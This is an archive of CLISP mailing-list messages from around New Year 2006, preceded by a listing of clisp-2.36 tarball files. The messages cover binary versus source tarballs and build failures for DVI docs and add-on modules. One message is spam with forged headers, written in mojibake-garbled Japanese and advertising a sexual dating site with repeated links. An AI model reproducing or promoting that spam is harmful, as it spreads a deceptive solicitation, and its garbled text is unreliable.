clisp-2.36/src/xcharin.fas clisp-2.36/src/clos-print.fas clisp-2.36/src/clos-method1.fas clisp-2.36/src/french.fas clisp-2.36/src/dutch.lisp clisp-2.36/src/type.lisp clisp-2.36/src/lambdalist.lisp clisp-2.36/src/foreign1.lisp clisp-2.36/src/runprog.fas clisp-2.36/src/clos-class4.lisp clisp-2.36/src/clos-class2.fas clisp-2.36/src/clos-genfun5.lisp clisp-2.36/src/clos-genfun4.lisp clisp-2.36/src/defmacro.lisp clisp-2.36/src/clos-custom.fas clisp-2.36/src/subtypep.lisp clisp-2.36/src/timezone.fas clisp-2.36/src/documentation.lisp clisp-2.36/src/clos-specializer2.lisp clisp-2.36/src/danish.fas clisp-2.36/src/clos-slotdef3.lisp clisp-2.36/src/international.fas clisp-2.36/src/disassem.fas clisp-2.36/src/screen.lisp clisp-2.36/src/trace.fas clisp-2.36/src/type.fas clisp-2.36/src/compiler.fas clisp-2.36/src/german.fas clisp-2.36/src/gstream.lisp clisp-2.36/src/clos-specializer2.fas clisp-2.36/src/spanish.fas clisp-2.36/src/clos-slotdef3.fas clisp-2.36/src/clos-slotdef2.lisp clisp-2.36/src/clos-macros.lisp clisp-2.36/src/foreign1.fas clisp-2.36/src/macros2.fas clisp-2.36/src/init.lisp clisp-2.36/src/clos-slotdef1.fas clisp-2.36/MAGIC.add clisp-2.36/GNU-GPL clisp-2.36/README.de clisp-2.36/linkkit/ clisp-2.36/linkkit/modules.d clisp-2.36/linkkit/clisp.h clisp-2.36/linkkit/modules.c clisp-2.36/linkkit/modprep.lisp clisp-2.36/COPYRIGHT clisp-2.36/locale/ clisp-2.36/locale/nl/ clisp-2.36/locale/nl/LC_MESSAGES/ clisp-2.36/locale/nl/LC_MESSAGES/clisplow.mo clisp-2.36/locale/nl/LC_MESSAGES/clisp.mo clisp-2.36/locale/ru/ clisp-2.36/locale/ru/LC_MESSAGES/ clisp-2.36/locale/ru/LC_MESSAGES/clisplow.mo clisp-2.36/locale/ru/LC_MESSAGES/clisp.mo clisp-2.36/locale/fr/ clisp-2.36/locale/fr/LC_MESSAGES/ clisp-2.36/locale/fr/LC_MESSAGES/clisplow.mo clisp-2.36/locale/fr/LC_MESSAGES/clisp.mo clisp-2.36/locale/en/ clisp-2.36/locale/en/LC_MESSAGES/ clisp-2.36/locale/en/LC_MESSAGES/clisplow.mo clisp-2.36/locale/en/LC_MESSAGES/clisp.mo clisp-2.36/locale/de/ clisp-2.36/locale/de/LC_MESSAGES/ clisp-2.36/locale/de/LC_MESSAGES/clisplow.mo clisp-2.36/locale/de/LC_MESSAGES/clisp.mo clisp-2.36/locale/es/ clisp-2.36/locale/es/LC_MESSAGES/ clisp-2.36/locale/es/LC_MESSAGES/clisplow.mo clisp-2.36/locale/es/LC_MESSAGES/clisp.mo clisp-2.36/bindings/ clisp-2.36/bindings/glibc/ clisp-2.36/bindings/glibc/wrap.lisp clisp-2.36/bindings/glibc/link.sh clisp-2.36/bindings/glibc/linux.o clisp-2.36/bindings/glibc/linux.lisp clisp-2.36/bindings/glibc/Makefile clisp-2.36/full/ clisp-2.36/full/lispinit.mem clisp-2.36/full/gettext.o clisp-2.36/full/modules.o clisp-2.36/full/regex.o clisp-2.36/full/libcharset.a clisp-2.36/full/readline.o clisp-2.36/full/lisp.a clisp-2.36/full/modules.h clisp-2.36/full/linux.o clisp-2.36/full/libcallback.a clisp-2.36/full/libnoreadline.a clisp-2.36/full/regexp.dvi clisp-2.36/full/rawsock.o clisp-2.36/full/regexi.o clisp-2.36/full/calls.o clisp-2.36/full/libavcall.a clisp-2.36/full/makevars clisp-2.36/clisp-link clisp-2.36/emacs/ clisp-2.36/emacs/clisp-coding.el clisp-2.36/emacs/clisp-ffi.el clisp-2.36/emacs/clisp-indent.lisp clisp-2.36/emacs/clisp-indent.el clisp-2.36/emacs/clhs.el clisp-2.36/readline/ clisp-2.36/readline/readline.o clisp-2.36/readline/link.sh clisp-2.36/readline/Makefile clisp-2.36/readline/readline.lisp clisp-2.36/README.es From fb@frank-buss.de Fri Dec 30 06:18:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EsL4y-0005lP-Qz for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 06:18:00 -0800 Received: from smtp4.netcologne.de ([194.8.194.137]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EsL4x-0000GF-E1 for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 06:18:00 -0800 Received: from galilei (xdsl-84-44-235-188.netcologne.de [84.44.235.188]) by smtp4.netcologne.de (Postfix) with ESMTP id BB542DA54B for ; Fri, 30 Dec 2005 15:17:49 +0100 (CET) From: "Frank Buss" To: Subject: RE: [clisp-list] configure and INSTALL missing from 2.36 tar ball MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <200512301410.13544.jimka@rdrop.com> Thread-Index: AcYNQoBo2fp7vjK8RJqBkAKINBL2lAACQ8+g Message-Id: <20051230141749.BB542DA54B@smtp4.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 30 06:19:07 2005 X-Original-Date: Fri, 30 Dec 2005 15:17:52 +0100 > the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz > which i've downloaded from > http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unk > nown-linux-gnu-2.6.9.tar.gz?use_mirror=switch > seems to be missing the files INSTALL and configure. > Am i confused? what is the purpose of > clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar? this is not the source file for recompiling it by yourself, but the compiled result. If you just want to start CLISP this is fine, but if you want to compile it yourself, you have to download the sources. Of course, the sources are the same for every platform. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From lisp-clisp-list@m.gmane.org Fri Dec 30 11:30:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EsPxK-0005fu-IS for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 11:30:26 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EsPxI-0006yA-3d for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 11:30:26 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EsPx1-00017B-Ur for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 20:30:08 +0100 Received: from papa.hakuhale.net ([206.126.2.212]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 30 Dec 2005 20:30:07 +0100 Received: from chris by papa.hakuhale.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 30 Dec 2005 20:30:07 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: chris@workinglinux.com Organization: NaiaSoft Co. Lines: 60 Message-ID: <84wthmwzyo.fsf@papa.hakuhale.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: papa.hakuhale.net X-GPG-Fingerprint: 32EA 90A5 8C01 5755 3847 2AFE AD9C B8E7 93E2 83A4 X-Operating-System: FreeBSD X-Home-Page: http://www.workinglinux.com/chris User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (berkeley-unix) Cancel-Lock: sha1:H7WMe8ZYGhITXb8MfGesgDR6kxI= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] Sorry, but its that darn DVI build issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 30 11:31:03 2005 X-Original-Date: Fri, 30 Dec 2005 02:07:11 -1000 I just saw some quite recent comments in a Changelog about somebody being tired of telling people to 'ignore' DVI-related issues (or some such) during the build process. Thing is, the current tarball won't build on Debian Sarge, which surprised me, as I was under the apparently mistaken impression that GNU Clisp would pretty much just build on Debian GNU/Linux. I wouldn't mind at all using the Debian package, but it doesn't appear to include fastcgi or postgresql (must haves), nor a couple of the other things I wouldn't mind having available. It took me the better part of 8-hours effort, but I did finally manage to get clisp 2.36 on my FreeBSD laptop with the additional stuff I wanted--mostly the build process itself wasn't comfortable with FreeBSD 4.9, it seems, I think because of 'philosophical' differences, for lack of a better term--so I had to do some makefile tweaking. The server I want to run the stuff I develop on my laptop is recentyl installed and updated vanilla Debian Sarge, and my initial attempt at the built blew off becuase groff proper (rather than just groff-base) wasn't installed. Np, apt-get, fixed. (Please forgive if I am being silly, but I was a bit surprised that 'configure' didn't handle that somehow.) Anyway, now make complains: groff -Tps -mandoc clisp.1 > clisp.ps dvipdf clisp.dvi clisp.pdf dvips: ! unexpected eof on DVI file Error: /typecheck in --.unread-- Operand stack: true --nostringval-- true 0 Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1 3 %oparray_pop --nostringval-- 1 1 3 --nostringval-- %for_pos_int_continue --nostringval-- --nostringval-- --nostringval-- Dictionary stack: --dict:1049/1123(ro)(G)-- --dict:0/20(G)-- --dict:69/200(L)-- Current allocation mode is local GPL Ghostscript 8.01: Unrecoverable error, exit code 1 make: *** [clisp.pdf] Error 1 I'm not a make/autoconf etc. guru--could somebody point me at a relatively quick and painless workaround? Thx! -- Have the courage to be ignorant of a great number of things, in order to avoid the calamity of being ignorant of everything. -- Sydney Smith (1771 - 1845) From lisp-clisp-list@m.gmane.org Fri Dec 30 17:56:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EsVz2-0000QU-Cv for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 17:56:36 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EsVz1-0005IS-6g for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 17:56:36 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EsVyp-000275-Je for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 02:56:23 +0100 Received: from papa.hakuhale.net ([206.126.2.212]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 31 Dec 2005 02:56:23 +0100 Received: from chris by papa.hakuhale.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 31 Dec 2005 02:56:23 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: chris@workinglinux.com Organization: NaiaSoft Co. Lines: 41 Message-ID: <84k6dmjah1.fsf@papa.hakuhale.net> References: <84wthmwzyo.fsf@papa.hakuhale.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: papa.hakuhale.net X-GPG-Fingerprint: 32EA 90A5 8C01 5755 3847 2AFE AD9C B8E7 93E2 83A4 X-Operating-System: FreeBSD X-Home-Page: http://www.workinglinux.com/chris User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (berkeley-unix) Cancel-Lock: sha1:IIXJUVEFecPEUNITN8pPdvHhDRE= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: Sorry, but its that darn DVI build issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 30 17:57:02 2005 X-Original-Date: Fri, 30 Dec 2005 15:56:10 -1000 Ummm, I should probably clarify my previous post a bit, since I almost feel asleep at my keyboard while writing it. First, let me be very clear--its simply amazing to me that folks can build software this complex and have it build reasonably well on so many platforms. I've been in the business long enough, and used different enough platforms, to appreciate what a feat such portability is. Also, the clisp 2.36 build problems on both Debian and FreeBSD I had were pretty much exclusively with getting the add-on modules to build. On FreeBSD 4.9, giving configure the name of a separate build directory just didn't seem to work, but if I built in the src directory, no problem. On Debian Sarge, once I deleted 'manual' from the top-level Makefile's 'all' target, everything took off and 'just worked'. Woot! You guys do good work. :^D However, on both FreeBSD and Debian I had trouble getting postgresql module to build, primarily with locating the header files. Even if modified top-level Makefile CFLAGS and CPPFLAGS with appropriate -I flags, setting environment variables, etc. On both boxes, I ended up putting a soft link from /usr/local/include (FreeBSD) or /usr/include (Debian) to the appropriate files. Too, configure checks for the existence of postgres_ext.h, but if I didn't also have soft link to libpq-fe.h, the build blew off. Also, close to half of the 'nearly 8 hours' I mentioned in my earlier post was devoted to trying to get berkeley-db module to build on FreeBSD. (There are so many versions of Berkeley DB!) I never did get it to work--no matter what, it couldn't find the library, and I tried link switches, environment variables, load paths, etc. And when I tried on Debian, I quit trying after the first error--I just don't have time figure that out now. I *would* still like to get the clisp docs built right, though, if anyone has any suggestions. -- If you speak the truth, have a foot in the stirrup. -- Turkish proverb From mm_loversgods@yahoo.com Sat Dec 31 06:50:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Esi3t-0008R4-7L for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 06:50:25 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Esi3q-0004HJ-TT for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 06:50:25 -0800 Received: from p57c2b3.tokynt01.ap.so-net.ne.jp ([58.87.194.179] helo=externalmx-1.sourceforge.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1Esi3p-0007OM-NO for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 06:50:22 -0800 From: "mm_lovematch" To: clisp-list@lists.sf.net Message-ID: <401Q3sx8lL.7425@yahoo.com> X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 0.1 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 31 06:52:02 2005 X-Original-Date: Sat Dec 31 06:51:03 2005 E*™*EE*™*EE*™*EE*™*E*™*E*™*E*™*E*™*E @@@@@@–Z„«‚µ„«‚¢„«‚ „«‚È„«‚½„«‚É„«@@ @@@@@@„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®@@@ @@@‚³„«‚³„«‚â„«‚©„«‚È„«–ü„«‚â„«‚µ„«‚ð„«I„«@@ @@@„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®@@@ E*™*E*™*EE*™*EE*™*EE*™*E*™*E*™*E*™*E :*.™B@@@@@@@@@@@@@@@@@@@@@@B™.*: @@@@@@h“úí‚É­‚µ”æ‚ꂽ‚çch @@@@@@‚¢‚Ü‚·‚®‚²—˜—p‰º‚³‚¢I @@@@@@Š®‘S–³—¿‚Å‚²—˜—po—ˆ‚Ü‚·B @@@@@@‚ ‚܂莞ŠÔ‚ðŽæ‚ê‚È‚¢•û‚Å‚àŠy‚µ‚߂܂·B @@@@@@‚à‚¿‚ë‚ñA‚¶‚Á‚­‚è‚Æƒp[ƒgƒi[‚ð’T‚µ‚½‚¢•û‚É‚àÅ“K‚Å‚·B @@@@@@­‚µ‚¦‚Á‚¿‚ȑ̌±‚ðŠó–]‚³‚ê‚é•û‚©‚çA @@@@@@^Œ•‚É—öl‚ð’T‚³‚ê‚Ä‚¢‚é•û‚Ü‚ÅA @@@@@@•L‚¢•û‚ª‚²—˜—p‚³‚ê‚Ä‚¢‚Ü‚·B ========================================================= @@‚±‚ñ‚È•û‚ɃIƒXƒXƒ‚µ‚Ü‚·ô @@‰ñ@Eê‚Ɉ٫‚ª‘S‘R‚¢‚È‚¢‚Ì‚ÅAo‰ï‚¢‚ð‹‚ß‚ÄB @@‰ñ@¡‚܂łƂ͈Ⴄ¢ŠE‚Ìl‚Æ‚Ìo‰ï‚¢‚ð‹‚ß‚ÄB @@‰ñ@—‘z‚Ì‘ŠŽè‚ð‚ä‚Á‚­‚è‚Æ’T‚µ‚½‚¢B @@‰ñ@ˆêl‚ÌŽžŠÔAŽâ‚µ‚³‚𖄂߂鑊Žè‚ª—~‚µ‚¢ -™--Š®‘S–³—¿‚ňÀS‚Ìo‰ï‚¢--™- @@@@ ‚²—˜—p—¿‹à  ALL \0!! @@@‘S‚ẴT[ƒrƒX‚ª–³—¿‚ÅŠy‚µ‚ß‚éI @@„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ @@@™@“o˜^@@@@‚O‰~I @@@™@ƒ[ƒ‹‘—M@‚O‰~I @@@™@ƒ[ƒ‹ŽóM@‚O‰~I @@@™@‘ž‚Ý@@@‚O‰~I @@@™@Œfަ”‰{——@‚O‰~I @@@™@’¼ƒAƒhŒðŠ·@‚O‰~I @@@™@’¼“dŒðŠ·@@‚O‰~I @@@™@‘Þ‰ï@@@@‚O‰~I @@«‚±‚¿‚ç‚©‚ç‚Ç‚¤‚¼« @@http://matchjp.com/index.html?media=pc327 @@ @^^™—«‰ïˆõ‚ÌÅV“Še™__ @cccc™cccc™cccc™cccc™cccc™cccc @‚³‚‚«‚³‚ñ@32Î @Ž—‚Ä‚¢‚éŒ|”\l@’|“àŒ‹Žq‚³‚ñ @ƒoƒcƒCƒ`32΂łà\‚¢‚Ü‚¹‚ñ‚©H¡–鑦ƒAƒ|‚¨Šè‚¢o—ˆ‚Ü‚·‚©H @¡ŽdŽ–‹A‚è‚È‚ñ‚Å‚·‚¯‚ÇA’©‚©‚ç–³«‚É—Ò‚µ‚­‚È‚Á‚Ä @“o˜^‚µ‚Ä‚µ‚Ü‚¢‚Ü‚µ‚½B‚±‚ñ‚ÈŽ„‚Å‚à‘ŠŽè‚É‚µ‚Ä‚à‚炦‚Ü‚·‚©H @•½“ú‚ª‹x‚݂Ȃ̂ÅA“ú’†‚Å‚à\‚í‚È‚¢‚Å‚·‚µA¡–é’x‚­‚Å‚à\‚¢‚Ü‚¹‚ñB @‚¨‰ï‚¢‚Å‚«‚Ü‚¹‚ñ‚©H @“÷‘ÌŠÖŒW‚¾‚¯‚Ì‚¨•t‡‚¢‚Å‚à¸_“I‚ȉ·‚à‚è‚ÌŠÖŒW‚Å‚à\‚¢‚Ü‚¹‚ñB @l”§‚ª—ö‚µ‚­‚Äc¡“ú‚͉½‚©—\’è‚ ‚è‚Ü‚·‚©H @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc327 @cccc™cccc™cccc™cccc™cccc™cccc @‚肳‚³‚ñ@21Î @Ž—‚Ä‚¢‚éŒ|”\l@‹g‰ª”ü•䂳‚ñ @‚¢‚‚łà\‚¢‚Ü‚¹‚ñB @ŽdŽ–‚ªI‚í‚Á‚½Œã‚©AŽdŽ–‚ª‹x‚݂̓ú‚É”ZŒú‚ȃZƒbƒNƒX‚µ‚Ü‚¹‚ñ‚©H @ŽÊ^‚ÍæŒŽƒTƒCƒg‚ʼnï‚Á‚½l‚Ƃ̎Ê^‚È‚ñ‚Å‚·‚¯‚ÇA @‚©‚È‚è‚̕ϑԂŔR‚¦‚Ü‚µ‚½B @•ϑԂ¾‚Á‚½‚çÅ‚‚È‚ñ‚¾‚¯‚Çc•ϑԂł·‚©H @ŽÊ^ˆÈã‚Ì‚±‚Æ‚µ‚Ä‚­‚ê‚é‚Ȃ硂©‚çŽÔo‚µ‚Ü‚·B @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc327 @cccc™cccc™cccc™cccc™cccc™cccc @‚ä‚Ý‚±‚³‚ñ@30Î@ @Ž—‚Ä‚¢‚éŒ|”\l@ˆÉ“¡—TŽq‚³‚ñ @•v‚ÍŠCŠOA–º‚Í—·s‚É”‘‚è‚És‚Á‚Ä‚¢‚Ü‚·B @100“–ñ‘©‚ÍŽç‚è‚Ü‚·A’ml‚ÌŽG‰Ý‰®‚Å‚½‚܂ɓ­‚¢‚Ă܂·B @–ž‘«‚µ‚Ä‚à‚炦‚邿‚¤‚ÉŠæ’£‚è‚Ü‚·B @•v‚ÍŽ„‚Ìg‘Ì‚É‚à‚¤–O‚«‚Ä‚¢‚é‚©A @‚½‚܂ɓú–{‚É‹A‚Á‚Ä‚«‚Ä‚à‘ŠŽè‚ð‚µ‚Ä‚­‚ê‚Ü‚¹‚ñB @‚¨‹à‚𕥂¤‚̂Ŏ„‚Ì—ûK‘ä‚ɂȂÁ‚Ä‚­‚ê‚Ü‚¹‚ñ‚©H @ƒ_ƒŒ³‚Å‚¨Šè‚¢‚µ‚Ä‚¢‚Ü‚·‚ª‚Å‚«‚ê‚΂¨•ÔŽ–‘Ò‚Á‚Ă܂·(^-^) @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc327 @cccc™cccc™cccc™cccc™cccc™cccc @¦ˆÀ‘S‚É‚²—˜—p’¸‚­‚½‚ßA @@Š®‘S‰ïˆõŒÀ’è‚̃T[ƒrƒX‚Æ‚³‚¹‚Ä’¸‚¢‚Ä‚¨‚è‚Ü‚·B @@‚²—˜—p‚Í“o˜^‚©‚ç‘Þ‰ï‚܂Š@@‘SƒT[ƒrƒX‚ª–³—¿‚Å‚¨Šy‚µ‚Ý’¸‚¯‚Ü‚·B http://matchjp.com/index.html?media=pc327 From sds@gnu.org Sat Dec 31 15:15:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EspwR-0006RY-Vj for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 15:15:15 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EspwO-0004JT-GI for clisp-list@lists.sourceforge.net; Sat, 31 Dec 2005 15:15:15 -0800 Received: from pool-71-247-45-110.nycmny.east.verizon.net (HELO WINSTEINGOLDLAP) ([71.247.45.110]) by smtp01.mrf.mail.rcn.net with ESMTP; 31 Dec 2005 18:15:09 -0500 X-IronPort-AV: i="3.99,317,1131339600"; d="scan'208"; a="148155084:sNHT23220716" To: clisp-list@lists.sourceforge.net, chris@workinglinux.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <84k6dmjah1.fsf@papa.hakuhale.net> (chris@workinglinux.com's message of "Fri, 30 Dec 2005 15:56:10 -1000") References: <84wthmwzyo.fsf@papa.hakuhale.net> <84k6dmjah1.fsf@papa.hakuhale.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, chris@workinglinux.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Sorry, but its that darn DVI build issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 31 15:16:01 2005 X-Original-Date: Sat, 31 Dec 2005 18:13:58 -0500 > * [2005-12-30 15:56:10 -1000]: > > Ummm, I should probably clarify my previous post a bit, since I almost > feel asleep at my keyboard while writing it. I hope you will get enough sleep soon, and will submit a clear bug report - so far I cannot figure out what you are complaining about. Please see http://clisp.cons.org/impnotes/clisp.html#bugs and make sure that you send _ONE_ bug report per problem and _DO_ send full information we need to help you. specifically, you cannot build on FreeBSD in a separate directory: please send the full configure command line and all the error messages, cut and paste. you have problems with dvi - what happens when you type "make" again? etc. Happy New Year! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.savegushkatif.org http://www.camera.org http://www.palestinefacts.org/ http://www.dhimmi.com/ WinWord 6.0 UNinstall: Not enough disk space to uninstall WinWord From sds@gnu.org Sun Jan 01 21:28:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EtIF6-00087M-A7 for clisp-list@lists.sourceforge.net; Sun, 01 Jan 2006 21:28:24 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EtIF3-0002Y5-ST for clisp-list@lists.sourceforge.net; Sun, 01 Jan 2006 21:28:24 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 02 Jan 2006 00:28:20 -0500 X-IronPort-AV: i="3.99,319,1131339600"; d="scan'208"; a="190588069:sNHT26089524" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051229053728.4C47E38BD7@smtp1.netcologne.de> (Frank Buss's message of "Thu, 29 Dec 2005 06:37:31 +0100") References: <20051229005703.033FE38CB1@smtp1.netcologne.de> <20051229053728.4C47E38BD7@smtp1.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 1 21:29:01 2006 X-Original-Date: Mon, 02 Jan 2006 00:27:12 -0500 > * Frank Buss [2005-12-29 06:37:31 +0100]: > > http://www.frank-buss.de/lisp/clisp.html note that clisp/modules/bindings/win32.lisp already offers win32:MessageBoxA 